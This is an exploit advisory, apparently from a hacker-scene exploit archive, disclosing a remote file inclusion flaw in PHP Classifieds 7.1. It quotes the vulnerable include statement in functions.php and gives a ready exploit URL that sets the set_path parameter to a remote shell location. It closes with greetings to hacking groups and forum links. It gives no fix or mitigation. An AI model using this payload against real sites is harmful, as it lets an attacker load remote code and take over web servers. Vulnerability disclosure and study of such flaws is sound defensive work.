PHP Classifieds 7.1 - Remote File Include Vulnerability

[Le.CoPrA () hotmail com]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 # PHP Classifieds 7.1 - Remote File Include Vulnerability

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 # Download : http://softadmin.deltascripts.com/download_get.php?id=32

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

 # Bug in : functions.php

 # Vuln Code :

      include($set_path . '/admin/htmlMimeMail/htmlMimeMail.php');

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

 # Exploit :

  www.site.com/[path]/functions.php?set_path=|SH3LL|?

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

 # Discovered by :  Le CoPrA

 # Mail To       : Le.CoPrA () hotmail com

 # Special Greetz FlYinG 2 || LovER BoY ||

 # Greetz4// alkasrgolden,3theaby geer Mohajer22, Qaher, Saudi HaCkRz, Black-Code, kOnDoR, AsbMay,HACKERS PAL, simo64, 
MR.wolF,Abdullah-00, cRiMiNaL NeT,020,Dark-Man, Dr.ExE ,egyptghost,KaBaRa,ToOoFA

 # Channel : wWw.TrYaG.cOm/vb ** WwW.D4Eg.orG ** WwW.kOnDoR4.Com/vb

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=